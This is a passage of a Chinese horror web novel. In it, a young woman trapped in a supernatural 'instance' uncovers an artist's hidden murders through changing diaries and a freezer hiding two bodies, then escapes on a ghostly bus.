老太太冷笑两声,摇了摇头,“徐恒那么好一个孩子,多可惜啊。”
见林临很感兴趣,老太太继续说,“她老公破产,每天都来闹的,说什么跟张玫结婚之后,事业就开始走下坡路。”
“你不信,来我给你找人问。”担心林临不相信她的话,老太太干脆拉着她的手,说要找人给自己作证。
没走几步,她就看到了熟人,招呼着让人过来。
这时间还在小区游荡的,左右不过都是些不上班的人,最喜欢听八卦传消息,一看到有人打听,便都围了上来,一窝蜂地说着。
老太太起了个头,便有人附和,“那个张玫她老公老是来闹事。”
一说起张玫家的事情,这群人热闹许多,有的没的通通倒豆子一般说出来,“张玫那个前夫,你们记不记得?”
“就那个,那个做生意的那个,我记得,这房子不就是他买的吗?”瓜子在手里挑挑拣拣了许久,仍然没有恰当的时机将它放进嘴巴里,有个中年女人侃侃而谈,拿定了主意要将张玫的花边新闻传播出去,“你们知不知道后来发生什么事儿了。”
于是一群人催促,“快说快说。”
林临也好奇。
“他失踪了,好像是张玫报的警呢,后来这人做生意的钱都给了张玫,不然你以为张玫的画展是怎么办起来的。”
林临有点品出来了,这人怕是嫉妒张玫。
张玫有钱有品位更是单身,当红的艺术家的身份给她带来多到不计其数的光环,引来人的嫉妒是意料之中的事情。
这并非个例,当即有人附和,“我看啊,这个小恒的死,还有她老公的失踪,都跟她脱不了关系。”
林临听得头都大了,这信息量着实不少,但真实性有点商榷。
好在还有点线索,张玫前夫失踪了,张玫却隐瞒了这一点,还说两个人的关系很好。
林临在心里暗自记下,此时天已经渐渐黑了下来。
天黑的太快了,快到难以想象,副本中的时间流速比外面要快上许多,这是林临意想不到的。
她和这些“热心”邻居告别,在大家“不要和张玫走太近”的叮嘱中回到住处。
此时,张玫不知道去了哪里,空荡荡的别墅中只有林临一个人,但林临已经无心去寻找新的线索,疑点,又是疑点,全是疑点,没有答案。
哪里可以获得答案,她到底该怎么办?
林临的心里充满了无力感,坐回书桌前,她再次取出徐恒的日记翻开起来,想看看是否错过了什么线索。
打开日记本的瞬间,那些稚嫩的字体在林临惊讶的眼神中逐渐消散,接着,纸张上出现了新的字迹。
是一八年的日记。
5. 并蒂
徐恒的日记并非一成不变,而是在时时刻刻变化的,想来也是,这千头万绪之中,副本必然要给足线索,否则只会把像林临这样的人困死在这里。
2018年1月15日
姐(划掉)妈妈有了新的工作,就是帮人画画,她说,我们很快就能有钱了。
2018年1月21日
爸爸找到了我们,妈妈给了他一大笔钱,爸爸说,让妈妈每个月都把钱打到他的卡上,不然就去学校里闹,这让妈妈很为难。
2018年3月20日
妈妈说,她成功卖出了一幅画,这幅画能让我们变得超级有钱!太好了!
2018年6月14日
爸爸又来了,这次要走了更多的钱,妈妈说这件事迟早要做个了断,我想她需要我的帮忙。
2018年6月21日
他们吵起来了,因为(泪水洇湿了纸,这一行字并不能看清楚,林临猜测这是吵架的原因。)最后,妈妈把我关在房间里,我听到爸爸说,他要替妈妈报警,把妈妈抓起来。
日记内容戛然而止。
在一八年,徐恒记录的频率更低,内容大多为徐恒的爸爸,也就是张玫的前夫找上门来后发生的事情。
林临将内容誊写到纸上,用笔勾画出几句话——
去学校里闹,是去找徐然吗?徐然不是早就死了吗?
替妈妈报警,把妈妈抓起来,什么意思,为什么要替妈妈报警,难道不是报了警,才能把妈妈抓起来吗?
徐恒的语序很混乱,混乱到林临不知道这几篇日记到底在表达什么。
用中性笔轻轻敲着太阳穴,林临活动活动僵硬的脖子,视线忽然汇聚于一点,那个被划掉的姐姐上。
也许,徐然并没有死。
她的眼睛微微发亮。
张玫晚上没有吃饭的习惯,她给出的理由是她在减肥,安排王姐做好林临的饭菜后,她便回到了卧室里。
此时此刻,林临和张玫同处于同一楼层。
好消息,一天终于落下帷幕,她可以不再和张玫碰面,也不必提心吊胆。
坏消息,张玫和她距离太近了,这边有些风吹草动,张玫那边就会马上反应过来。
林临想了想,决定还是立刻休息,明天白天再说,于是同王姐打听了张玫明天的行程,时钟时针指向九点时,林临洗漱完了,躺在床上准备休息。
夜很安静。
安静到不可思议。
但林临却有些睡不着,不知道是恐怖气氛的渲染还是生物钟,她侧躺着,一只手放在枕头下,脑袋里不停想着琳达让她做的方案。
没有收到方案,琳达会不会扣她的工资。
但下一秒,林临又觉得自己实在是多虑了,如果无法通过这个副本,她以后都用不到工资了。
“呼……”
林临听到一阵微弱的风声。
也许是窗户没关,她心里想着,又或者是窗户被风吹开了,这很正常。
林临蜷缩身体,决定不去管它。
但风好像越来越近了。
“呼……”
风吹到了林临的脖颈上,仔细感受,一会儿离她很远,一会儿又离她很近,这吹得她很不舒服,于是掖紧被子,林临更用力地蜷缩在一起。
不对!
林临猛地清醒过来。
她清楚地记得她关好了门窗,背后的风声如此均匀,就像人的呼吸一样起起伏伏。
背后有人。
张玫?还是王姐?
就像是特意回应林临的想法,一只冰凉的手,毫无预兆地搭在了林临的肩膀上,轻轻地揉捏着。
这只手又细又长,如同冰块一样冷,林临不出声,也没有动作,就这样保持静止。
“小恒,我很想你。”
第二天一早,林临睁开眼,快步走到书桌前,拉开抽屉,她再度打开日记本,可惜的是,这次的日记本内容并没有发生任何改变,林临推测是她还没有找到新的线索,所以日记本内容并没有刷新。
所以要想知道徐恒后面发生了什么事情,就要去找新的线索,比如张玫和她的前夫之间到底发生了什么,徐然到底为什么跳楼。
取出白纸,林临将打听来的张玫的行踪写在纸上。
八点,张玫会在楼上的瑜伽室进行锻炼,这将持续一个小时,九点的时候,王姐会喊张玫吃饭,张玫也会喊她去吃饭。
吃完饭后,张玫本应该去赴约,但今天十点有人要来,张玫必须待在家里结款。
十一点吃饭,十二点的时候,张玫和王姐要午休,林临想了想,这个时间段属实有些冒险,她在阿拉伯数字12后打了个小小的叉号。
下午两点,张玫要出门,这是上午的行程,大约要到下午四点才能回来。
看来看去,最保险的还是上午八点到九点,下午的两点到四点,三个小时时间,不知道能找到什么新的线索。
等待时针指向数字八,林临听到外面传来王姐和张玫打招呼的声音。
张玫上楼了。
林临换上自己的运动鞋,蹑手蹑脚地推开门,走到隔壁的储物间。
试图推门。
没推开。
林临诧异了一下,立刻反应过来这门被锁住了,四下查找后,果然发现了锁眼。
钥匙呢?
她抬头,门上一个小巧的装饰物映入眼帘,略一用力,林临将盒子掀开,看到里面的数字锁。
密码。
需要密码。
林临的大脑开始飞速运转,她发誓,从大学毕业到上班,她的脑子已经很久没这样用过了,简直要过载了。
人会把对自己重要的数字设置为密码,这样既保证了独特性,又保证了设置密码的人不会忘记密码。
一般来说,都是自己的生日吧。
林临想了想,输入0112。
门纹丝未动。
不对,不是张玫的生日,林临蹙眉,输入0812,这是张玫回来的日子,也许会被用作密码。
还是没动。
林临再次抬起手,然而还没等她碰到密码锁,下一秒,剧痛袭来!
这次的预告更加清晰,在她摁下数字的那一刻,响彻别墅的警报声充斥耳膜,随即而来的,是张玫冰冷的声音。
“小林,你在这干什么呢?”
林临还没来得及回头,预告就结束了。
这次的她,甚至没看清张玫是用什么方法杀的人,但幸运的是,刚才的数字被证实了是错的,她还有一次机会。
死亡预告,也只剩下了一次机会。
倚靠在门上剧烈喘息片刻,林临的胸口处传来难以忽视的阵痛,还有胳膊上的瘙痒,那里简直比胸口的剧痛还要让人心
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烦意乱。
失去理智的她使劲儿抓挠着胳膊,而那些鼓包则如同泡沫纸,一个个接二连三地发出哔哔啵啵的脆响。
鲜血洇湿林临的右臂,但她无暇顾及,林临皱紧眉头,一定有什么信息是她忘记了的,除了这些日期,还有什么日期是她以遗忘的。
无数日期和文字在她的脑海中浮现,却杂乱无章地交织在一起——
她好像越来越迟钝了,不仅仅是身体上的,还有精神上的。
转身看向门上的密码锁,林临的脑袋中一片空白,记忆蒙上雾气,就像是高空蹦极那样,所有的信息都被远远地甩在了肉身后面。
右臂上的瘙痒还在持续,捋开袖口,林临的皮肤上一片红肿,还有渗着鲜血的抓痕。
她突然捡拾起了一些,仅仅是一些被她抛之脑后的记忆碎片,然后把这些记忆碎片串联起来。
徐恒曾经说过,说过什么来这?
妈妈回来了。
我想给妈妈打个电话。
会有钱的。
打给了爸爸一笔钱。
有一个秘密,我要保守住这个秘密。
秘密,对了,是那个秘密。
徐恒口中的秘密是出现在几月几日来着,林临脑袋中一片模糊,但好在她有做笔记的习惯,从口袋中掏出一片碎纸,她比对着,将密码锁的轮毂拨到正确的位置。
0、1、1、5,摁下数字的瞬间,齿轮转动,咔哒咔哒的清脆响声在安静的长廊中响起,林临双手交握在胸口,祈祷着不要出什么差错。
终于,“啪嗒”一声,门开了。
林临没犹豫,推门而入。
虽然是存放旧物的储物室,但里面干净整洁,并不像是被遗忘的样子,可见是有人在专门打扫维护。
朝里面看去,只见几个体积很大的箱子摆放在角落,上面贴了纸条,分别标注着徐恒小学,徐恒初中和徐恒高中。
王姐说的没错,这里都是徐恒的东西,林临打开简单翻了翻,发现里面堆放着徐恒的个人物品,还有成沓的成绩单。
并没有任何异常。
那为什么要给这间房单独上锁?林临左思右想还是想不明白,难道真是为了专门存放徐恒的遗物?
这个理由说得通,但显然说服不了林临,她开始更加仔细地检查起来。
在她没有注意的角落里,右臂上一枚形似眼球的肉团脱落下来,就像枯叶脱离树干那样轻松干脆,在落在地面上的瞬间,它滚动起来,窸窸窣窣地奔向房间外。
林临敏锐地发觉到这一点,三步并作两步,模仿张玫的动作,抬起脚狠狠地踩了下去,噗嗤一声,肉团爆浆,眼球抽搐着爆出一团污血。
而她的视线落在了地砖上。
方方正正的大理石地砖,就这么严丝合缝地拼接在一起,从门口到林临所站的角落,正正好四块。
四乘四,十六。
这个房间是十六平米。
林临迈开步子,用自己的步幅简单测量了一下,突然发现一件事。
这间房的实际面积和其他的房间有出入。
不仅有出入,还有很大的出入。
她住的房间是四乘五,比这里多了四个平方,所以,这四个平方去哪了?由于不知道隔壁的面积,林临只能先大胆推测这四个平方还在这个房间里。
换言之,这个房间里有暗室。
6. 并蒂
换言之,这个房间里有暗室。
那就对了!这个房间果然有古怪。
就在林临想要寻找这间房的暗室的时候,楼下传来了王姐的声音——
“小林,来吃早饭了。”
“来了!”
林临没做耽搁,从储物室里退了出来,顺手将密码锁恢复至原位,等到了楼下的时候,发现张玫已经到了。
“小林,来坐,不知道你早晨爱吃什么,我就让王姐按照我的口味给你准备了。”
林临落座,面前是白粥和温水,还有小菜。
见林临来了,张玫起身拿起餐筷放在林临面前,“先喝温水,清清肠胃,再吃饭。”
林临照做。
真正入口,林临才知道面前的并非白粥,这粥,先是用虾头干煸出来油,而后等煸的油汪汪的,就下开水与白粥,最后再埋上干贝和鲜虾,整碗粥沁润着鲜味儿。
可见王姐是真的会吃。
林临不由得多吃了点。
看着林临埋头苦吃,张玫唇角上扬,不复昨天的冷淡,说话也亲切了许多,“慢点吃,王姐再去给小林乘一碗晾着,免得烫到她。”
她说着,还将前面的小菜夹起,轻巧地放进林临的碗里,“慢点,慢点。”
如果忽略刚才的死亡预告,林临会觉得很温馨的。
“吃完饭别忘了去学习,离考试没几天了。”张玫很优雅地扯过一张纸,擦拭着自己唇角的痕迹。
垂下眼,她的声音平稳,“不要乱跑,也不要和那些邻居乱说话,他们都没什么可干,只会对别人指手画脚,听懂没有?”
林临点头。
等张玫走了,王姐才上前来收拾餐碟。
“王姐。”林临抬起头笑着看她,“我的中性水笔好像没有油了,能麻烦您出门采购的时候帮我带一只回来吗,一只就行。”
这种小要求,王姐当然满口答应,林临继续问,“就是不知道您下午几点去采购,这样吧,您出去的时候喊我一声,我把笔给您,您对着买就行了。”
“行!”
“应该不耽误什么事儿吧。”
王姐说,“哪里会耽误,我下午两点半左右出门,大概四点就回来了,就是加上买笔的空,也就是四点半就能回来。”
“那太好了。”
两点半到四点半这段时间,林临是自己在别墅的。
吃完饭,她本想跟着一起收拾碗筷,但王姐极力拒绝了,直说让林临好好学习,不要顾有的没的,把她赶去楼上学习了。
上了楼,林临并没有直接去储物室,而是在书房里做了会儿题。
毕竟学生以学习为重。
确认张玫不在楼上后,她出门左转,轻车熟路。
依次抚摸过四面墙壁,林临敏锐地察觉到,其中一面墙的异常。
是温度。
这面墙的温度比其他三面墙要低得多,林临的指尖一寸寸掠过,在触碰到这面墙时,低温让她的肌肤起了一层鸡皮疙瘩。
就是这面墙。
于是,林临趴在墙面上,轻轻地摸索着,手指划过平整的墙面,突然触碰到一块极其细微、几乎与墙面融为一体的凸起。
她心脏猛烈跳动起来,屏住呼吸,林临扳动机关。
林临回头看了一眼紧闭的储物室门,时间在一分一秒地流逝,她有预感,这堵墙的背后很有可能就是真相。
“咔。”
一声轻响,在寂静中却清晰得骇人。紧接着,面前墙壁向内无声地滑开一道窄缝,刚好容一人侧身进入。
紧接着,一股难以形容的混杂着化学气体的空气扑面而来。
这是一个极其狭小的空间,正如她测算的那样,约四个平方。
里面没有任何杂物,正对着她的是一个庞大的、老式的立式冰柜。
这立式冰柜有足足两米多高,一瞬间,林临觉得周遭的空气被抽走,声音平息了,留在这里的,只有嗡嗡的、冰柜持续工作的声音。
冰柜门上,贴着一张便签条。
落款是张玫。
【小恒,爸爸妈妈在这里陪你。我们一家人,永远在一起。】
她盯着那行字,寒意瞬间窜上脊背。
在这里陪着你,是她理解的意思吗?
林临没犹豫,已经到了这一步,再害怕也要走下去,她咬了咬牙,用力一拉——
门开了。
更强的冷气涌出,白雾弥漫。林临下意识后退半步,用手扇开雾气,暗室光线微弱,仅凭外界的自然光并不足以看清冰柜里的东西。
林临只有再凑近些,才能勉强分辨这里面放的什么。
被塑料布紧紧缠绕的两个物体,映入眼帘。
林临抬起头,视线上移,再看清物体真容后,她下意识惊叫出声。
“啊!”
是,是两个人!
冰箱运行灯微弱的光,映照着这恐怖的一幕,和林临微微睁大的双眸。
右边是一个女性,蜷缩着身体,露出的四肢和脸上遍布着或轻或重的淤痕,女人的脸上有惶恐,有惊慌,有无助,就这样被定格在了死亡来袭的一瞬间。而她的左边,是一个并不算高大,甚至算得上瘦小的男人,面容惊惧。
密不通风的塑料膜中,两人的手紧紧地缠绕在一起,男人的手掌几乎被切断,五指插-入女人的手指间。
他们的脸上都被涂上了浓艳的油彩,诡异的红色绘出夸张的笑容,上半张脸的恐惧与下半张脸的狂喜,两种截然不同的情绪如同水一样紧密交融。
害死他们的人,为他们重新妆扮,让他们在死后,拥有了最融洽的、最亲密的关系。
这就是所谓的死同穴。
更让林临感觉到毛骨悚然的是,男人面部的塑料膜,竟然被吸入了口鼻中,深深地凹陷下去。
在放进冰柜之前,这个男人还是活着的,在遭受袭击之后,他陷入了昏迷,但却被人搬来了这里,一个人,活生生的人,当他醒来的时候,身上缠绕着厚厚的塑料膜,与此同时,气温在急剧下降。
没人知道他在哪里,也没有人回来救他,窒息感迫使他张大嘴巴呼吸,但空气越来越稀薄,最后,他死在了黑暗里。
这是何等的痛苦。
关上冰柜的门,林临开始认真观察这张便利贴。
爸爸妈妈在这里陪你。
爸爸,妈妈
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左边的是徐恒的妈妈,右边的是徐恒的爸爸。
她觉得哪里有些不对,奈何脑袋已经被这一幕冲击的无比混乱,只能凭借本能在思考。
她的思维越来越迟钝了,而右臂上的肉团们正在以不可思议的速度,从她的身上剥离脱落,趁林临不注意,滚动着钻过暗室的缝隙,冲向门外。
“咔哒。”
门外传来的微弱声音唤回林临的思绪。
有人来了。
拖鞋落在地上的声音清晰可闻,林临屏住呼吸,四下寻找可以藏身的地方。
透过缝隙,林临眼睁睁看着那些眼球状物奔向前来探查情况的张玫,接着争先恐后地涌入她的身体。
张玫僵硬的脖颈发出嘎吱嘎吱的异响,下一秒,她趴了下来,通过缝隙扫视着暗室。
怎么办?
心脏几乎要跳出胸口,林临抵住冰柜,双脚抵在暗室的墙壁上好让自己腾空,全力降低自己的存在感,她要做的就是不要失去理智,因为——
“夫人,楼下有人找您。”
王姐的声音适时响起,外面的人是张玫无疑了,显然她已经逼近了暗室,声音就在一墙之隔的外面。
“好,我知道了。”
是转身离开的声音。
这是林临为自己上的一道保险,她选择的时间临近昨天送菜人所说的时间点,只是她没想到张玫来的如此之快。
情绪退去,背靠着两米多高的立式冰柜,林临突然感觉到一阵凉意,原来不知道什么时候,身上竟紧张地大汗淋漓。
等等,林临突然想起一件事,门外的张玫不就是徐恒的妈妈吗?
徐恒的妈妈在这里,那门外的张玫是谁?!
在确定门外没有人蹲守后,林临不敢多停留,快步返回卧室,走到书桌前,拉开了抽屉。
果然,以往的字迹消散,而这次,新生的字迹如同腐旧的霉菌一般在纸面上肆意生长。
这次,日记的内容触目惊心。
2019年1月12日
爸爸来了,要了一万块钱,我知道妈妈不想给他,他们吵架了,爸爸打了妈妈,说要报警。爸爸走后,妈妈说,只有爸爸死了,这件事才会终结。
2019年2月23日
(水渍和墨水洇开痕迹交叠,看不清内容)姐姐……不让我……我不明白为什么……我不喜欢叫她妈妈……因为她是我的姐(仍旧是泪水洇湿的痕迹,但足以看清第二个字。)
张玫是徐恒的姐姐!?
张玫就是徐然!!!
这就说得通了,张玫的实际年龄只有二十多,所以她并不是显得年轻,而是真的很年轻。
就是因为她就是美院毕业的,得到了专业的指导,加上她过硬的功底,这才创造出这么多叫好又卖座的画作,根本不是什么天赋和遗传。
所以徐恒的日记里,才会频繁出现姐又划掉的情况。
这一切的一切,都在此刻得到了答案。
林临继续向后翻,这次解锁的日记内容比上次的还要少,但却透露了目前为止最重要的消息。
2019年3月15日
妈妈杀了他。
7. 并蒂
2019年3月15日
妈妈杀了他。
林临知道,这里的妈妈不是妈妈,是徐然,这里的他是徐然和徐恒共同的父亲。
日记很短,到这里就戛然而止了,徐恒仍然没有透露他所要保守的秘密是什么。
但可以肯定的是,徐恒的妈妈早就死了,也许比2017年8月份还要早,徐然消失的同一天,徐恒的妈妈回来了,也许回来的根本就不是徐恒的母亲,而是改头换面的徐然。
所以这是徐恒要保守的秘密吗?
林临做出了一个大胆的推测——
徐恒的父亲撞破了徐然杀母的全过程,于是他以此要挟徐然,进行敲诈勒索,并多次得逞,所以徐然一不做二不休,杀了徐恒父亲。
所以徐恒是怎么死的?
徐恒撞见了徐然杀父,所以被徐然杀了?
显然不是这样,副本还在继续,诡异还没有停止,林临头痛欲裂。
现在就只剩下张玫的卧室了,这个地方风险极高,但就现在的情形来看,林临不得不去。
等待,唯有等待。
终于,在两点半时,王姐准时出发了。
确认张玫也去赴约后,林临推开了张玫卧室的门。
在推开之前,林临设想过无数种情形,张玫这样一个杀了许多人,还把人冷藏在家里的恶人,亦或者恶鬼,卧室里也许像那些恐怖电影一样,布置了各种各样的杀人工具,又或者过分整洁,如同一个没有感情的游戏npc,但恰恰相反。
窗台前的鲜花是上午王姐刚刚放进去的,还沾着晶莹剔透的水珠,桌子上杂乱地摆放着张玫化妆后用的化妆品,床是粉色的四件套。
哪里会有线索呢?
要把自己想象成张玫,张玫会把东西放在哪呢,让她冷静下来好好想想,林临不停掐着自己的虎口,用疼痛唤回自己的理智。
环视四周,张玫的房间温馨而干净,抽屉,床头柜,能翻找的地方她都找过了,什么都没有。
难道这里真的没有线索?
等等——
林临突然想起一件事。
想也没想,林临立刻折返回书房。
第一天,王姐曾经从书房书柜的最上端,取出徐然的画,有没有可能,徐然的其他东西也都藏在这里。
书柜顶部,只有一个牛皮纸箱。
林临小心翼翼地取下来,看到里面放满了张玫,或者说徐然过去的痕迹。
一张被塑封起来,保存完好的毕业证,上面写着徐然,下面是徐然以前的画,灵气逼人,很难相信这是美院在读学生的作品,林临将这些好好地放在一边,继续向下探索。
很快,指尖传来熟悉的触感。
和徐恒笔记本一样的材质,但却更旧,干干净净的纸边,暗示着所有者书写的耐心。
林临翻开。
2017年1月15日
我杀人了,我知道,小恒都看见了。
这就是徐恒要保守的秘密,林临在这本日记里得到了答案。
2017年1月16日
我想了想,我是应该去自首,但我走了,谁来照顾小恒呢,小恒一直在哭,我不能自首。
2017年1月17日
没有人发现她已经死了,我把她藏在了冰柜里,可我们马上就要搬走了,我该怎么办,带着冰柜一起走吗?
2017年2月15日
他又拿抚养权当借口,想要抢走小恒,我不能让他这么做,但我们已经没有妈妈了。
2017年3月14日
我可以做小恒的妈妈,我想好了。
徐然的日记虽然是每个月一篇,但给出的信息都是崭新的,和徐恒日记完美呼应的,这让林临的神经舒缓了许多。
终于到了揭晓谜底的时候。
2017年7月14日
我不该在这个时候搬家的,坐在皮卡的车斗里,冰柜一直在渗水,拉货的人问我冰柜里是什么这么臭,我说是海鲜,他信了。
2017年8月12日
我有了个新的身份,张玫,以后小恒就要改口叫我妈妈了,他再也没办法用抚养权来要挟我们了。
日记中断了,林临紧张地向后翻了几页,发现后面还有。
2018年1月14日
他又来了。
2018年2月14日
有完没完,上个月不是刚给了一万吗?
2018年3月14日
他告诉我,他看到了,不行,我必须杀了他,我必须杀了他,我必须杀了他!!!
最后的最后,徐然的笔尖将纸张撕破,透出冲天的恨意。
2018年7月14日
我杀了他,我和小恒终于可以好好生活了,我把他放进了放着张玫的冰柜里,他们两个不是喜欢伪装成模范夫妻吗,可以,我可以让他们一辈子,生生世世都在一起。
2018年9月21日
外面的人都在说什么,小恒是私生子之类的话,希望小恒没有听到,小恒,姐姐不想你受任何伤害。
日记戛然而止。
于是林临一手拿着徐然的日记本,一手拿出徐恒的日记本,进行比对,意料之中,新的内容出现了。
2019年4月12日
我得病了,我不能再拖累姐姐。
2019年8月19日
我想好了,只要我死了,也许一切都结束了。
张开的书页中掉落出一张信纸,上面还有内容——
“姐姐:
今天老师让我们写给最亲爱的人的一封信,可是姐姐,我们一直在一起,我好像没有什么话要跟你说的。
但是老师要我们写整整二百字,我在想到底写什么呢。
姐,你记不记得,咱们当时在他家住的时候,每次他一打我,你就护着我,然后我们就跑,跑到楼下不远的地方,你用兼职的钱给我买棒棒糖,你知道我怎么想的吗,我觉得挨打也挺好的,居然能有糖吃,后来才知道,不是挨打好,是有姐姐好。
姐你还记不记得,当时跑出来之后,咱们去发传单,我在小玩偶里,你在大玩偶里,天气好热,我一直在流汗,下了班,你给我买了个甜筒,甜筒好好吃啊,那是我第一次吃甜筒,我又回去给你买了个,你还嫌我乱花钱,姐,我不是乱花钱,只要给你花,多少我都愿意。”
徐恒的亲笔信写的工整,有一搭没一搭地细数着以往的日子,翻页,还有下一张。
“姐姐,其实我什么都看见了,但是我不会告诉任何人,因为他们对我不好,只有你对我最好,姐,我们这辈子都不分开
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林临揉揉眉头,所以徐恒什么都知道,徐然也知道徐恒什么都知道。
向后翻页,林临指尖传来奇怪的触感,将书页立起来,林临侧着看去,这封手写信比其他的纸厚上许多,她凝眸,取来小刀。
沿着书页粘合的地方轻轻刮开,里面竟藏着一张公交卡。
徐恒的日记还没有结束。
2019年9月2日
我打电话告诉姐姐,我要回家,她说她坐82路公交车来接我。
2019年9月3日
这是我留在这世界上的最后一篇日记,再见了,世界。
徐恒的日记到此,终于结束。
林临如释重负地放下两本日记,也许她已经知道了如何逃离这个副本。
82路公交车。
答案近在咫尺,林临的心脏剧烈跳动起来,右臂上残存的鼓包正在以不可思议的速度向着左手和心口蔓延,难以忽视的瘙痒如同慢性病,正在扰乱着林临的思绪。
82路公交车在哪,她对此毫无头绪。
正想着,楼下传来开门声,王姐回来了。
“小林。”
林临下楼,王姐正上楼,见到她倒是很惊讶的样子,连说,“不要下楼,你好好学你的,我给你送去就好。”
说着,从口袋里掏出那只笔,“我怕一只不够,就自作主张多给你买了几只,你看行不行?”
“行的,谢谢王姐了,我到时候把钱给你。”林临说,“等我一下,我上楼去拿钱。”
“你小孩能有什么钱,就当王姐送你的好不好。”王姐对此完全不在意,摆摆手拒绝林临,“你还是个孩子呢。”
林临立刻挤出笑容,“谢谢王姐!张阿姨呢,她怎么还没回来?是不是路上塞车?”
王姐当即肯定道,“可能吧,一般到下班的时间点就会塞车,尤其是这个小区,塞车塞得尤其严重。不过你不用担心,等你去考试那天,夫人会开车送你的。”
“这太麻烦张玫阿姨了,我就想知道这附近有没有什么公交车,我可以先坐公交,再打车去考场。”
王姐道,“公交?好像是82路,我记得就这一辆吧,很早之前,小恒会去坐,我记得他还有张公交卡。但很早之前就停运了,现在只有一个废弃的公交站,就在咱们小区门口。”
“那……”林临做出一副为难的样子,“那好吧,那只好麻烦张玫阿姨送我一趟了。”
82路已经停运了,这条线索中断了。
无法,林临只好在这栋别墅再度过一个晚上,等明天白天再想办法。
经过了这两天的磨砺,林临在副本中的精神状态简直可以用今非昔比来形容,躺在床上,林临甚至还有心情翻看徐恒的日记。
哗啦啦的书页翻动声在空旷的房间里显得格外明显,林临摸着粗糙的笔记本纸张,思考着明天如何逃离这里。
“82路公交车……”林临喃喃重复这个关键词。徐恒最后一篇日记里,姐姐说会坐82路来接他,这也很正常,徐恒死的时候离现在太遥远了,一辆公交车停运也很正常。
但林临还是觉得这个82路不同寻常。
她相信自己的直觉,只剩下最后一天,她已经没有任何选择。
怀揣着这样的想法,林临在迷蒙中浅浅睡去。
8. 并蒂
次日,林临照常在七点左右醒来,一醒来,别墅如往常一样,王姐还在厨房忙活,张玫则坐在餐桌前,正看着上个月新出的时尚杂志。
“小林醒了。”见林临下楼,张玫的态度很热络,“来帮阿姨选选,这两件风衣该选哪件好呢?”
林临没怠慢,认真看了,指了指左手边这件。
“小林审美真好,我也是喜欢这件,那我改天就打电话,叫人给我送来。”合上时尚杂志,张玫的眼睛直直地盯着林临,“小林,我听说你要坐公交车去考场,会不会耽误时间呀,不如还是我送你去,你看怎么样?”
林临不好拒绝,“可以,就是怕麻烦您。”
“不麻烦的,到时候我送你去就好了,阿姨告诉你,不要去找82路公交车,听见了吗?”不知何时,张玫背后的影子突然变得如同实质一般,那瘦长鬼影从地上缓缓爬起,和张玫一起凝视着林临。
而后,她招招手,今天早餐的时间提前了许多,“一会儿我要去画室,你们不要打扰我,中午饭我会下来吃的。”
她说这话时,两双截然不同的眼睛仍然一错不错地看着林临,漆黑的瞳仁与猩红的双眸交错,有种说不出的非人感,林临感觉被盯得脊骨一阵发凉,只低着头说好。
“小林,你要听阿姨的话,虽然阿姨不得不去画室,但阿姨会看着你的。”
感受着头顶那只冰冷的手的抚摸,林临终于听懂了这句话的深层含义。
这是副本对张玫的设定,也是副本给林临特意留出的逃跑时间。说来也是,如果张玫和王姐在最后一天严防死守,那她是绝对跑不出去的。
点头应下这句话,林临和张玫开始吃饭。
时针指向九点,张玫不情不愿地站起身,走上楼梯,“小林,你记得,阿姨会看着你的。”
“好,阿姨。”
确认王姐在厨房忙碌后,林临悄悄溜出了别墅。
至于张玫给她的警告,自然是抛之脑后。
既然张玫反复告诉她不要打82路公交车的主意,那就恰恰说明82路公交车正是离开副本的关键。
出了门,林临的速度在尽可能加快,张玫很快就会发现她已经离开了别墅,并试图离开小区,所以她必须抓紧时间,在张玫找到她之前找到所谓的82路公交车。
老旧小区的公告栏、褪色的社区地图,偌大的小区没有任何一个活人,时间一分一秒过去,夕阳开始西斜,林临的心也一点点下沉。
82路为什么还没有出现,难道她判断出现了失误?
就在她几乎要放弃,准备返回别墅另想办法时,她的视线落在了面前的报刊亭侧面,那里贴着一张颜色剥落、卷边的老式公交线路图。
林临的心跳漏了一拍。
她快步上前,拨开枯藤,手指颤抖地在地图上寻找。
找到了!
一个个紧凑排列的站牌名称在地图上串联成线,字体淡到几乎无法辨认。
而地图最下方,有一行小字注释:“本线路因客流稀少,已停运,但原站牌保留。”
就在这时,林临突然感觉到一道不加掩饰的怨毒视线落在自己的身上,抬眼看去,张玫就站在那里,悄然无声地看着自己。
跑!!!
她不再犹豫,立刻朝小区门口跑去。
与此同时,她的身后,一道不似人声的尖锐嚎叫爆发!
张玫的身形暴涨,在太阳的照射下逐渐拉长为死亡预告中那道令人胆寒的瘦长鬼影,只听咔嚓一声,坚硬的玻璃应声碎裂,张玫从三楼猛地跳了下来。
短短几息,就已经将两者之间的距离拉近许多,她四足着地,起先还十分笨拙,好像无法驯服这具如同诡异巨兽一般的身躯,但很快,她的速度开始提升。
张玫的速度快到不可思议,狂奔着逼近正在逃跑的林临!
林临咬紧牙关向前冲去,她必须全力以赴地跑,82路,她赌对了!
冲出小区大门,林临焦急地左右张望。
马路对面,一个歪斜的、锈蚀的金属杆孤零零地立着,彷佛在为林临提醒,然而令她感到绝望的是,那里空荡荡的,没有任何公交车。
难道她真的判断错了?82路公交车你在哪里?!
身后的张玫在看到空荡荡的街道后,速度陡然提升,嘴里不停发出桀桀的怪叫声,似乎在嘲笑林临的不自量力。
“不要离开我!”
“不许任何人离开我!”
尖锐的声音几乎要将林临的耳膜刺破,她的声音距离这边越来越近,越来越近,最后在林临惊恐的眼神中,冲出小区门口。
就在林临近乎绝望之际,远处道路的尽头,两声极其沉闷的喇叭声,轰然响起。
伴随着这样的喇叭声,一辆老旧的公交车,就这样突兀地出现,车身斑驳,没有司机,没有乘客,如同一艘沉没在记忆里的船,出现在林临的背后。
车头的红色指示灯亮起,是它!
82号!
车门“嗤”的一声,在她背后打开,接着一股巨力将她拽进车厢。
下一秒,那鬼影在急速移动中刮擦地面的可怕声响已经近在咫尺,闪烁着寒光的利爪擦着林临的鼻尖堪堪划过。
“林临,不许走!”
闪烁着寒光的指甲插进公交车的门缝,用力撬动着车门,鬼影扭曲的面容映照在公交车玻璃上,但车纹丝未动。
车还没发车。
如梦初醒的林临站起身来,从口袋里掏出公交卡,刷过后,只听嗡一声轰鸣,公交车开动了。
车内一片死寂,空气凝滞,如同泥潭一般令人窒息,耳边只有发动机低沉微弱的嗡鸣,再无其他声响。没有其他乘客,只有呆愣在原地,劫后余生的林临。
瘫坐在靠近车门的座位上,大口喘着气。
终于上车了,副本结束了……
她看向车窗外,张玫所化成的巨大鬼影仍然紧贴着车厢顶部,垂落下来的瘦长鬼手扣住窗户,那张扭曲的脸上,倒吊着映在驾驶室的玻璃上,猩红的眼睛死死盯着林临,充满了怨毒、疯狂。
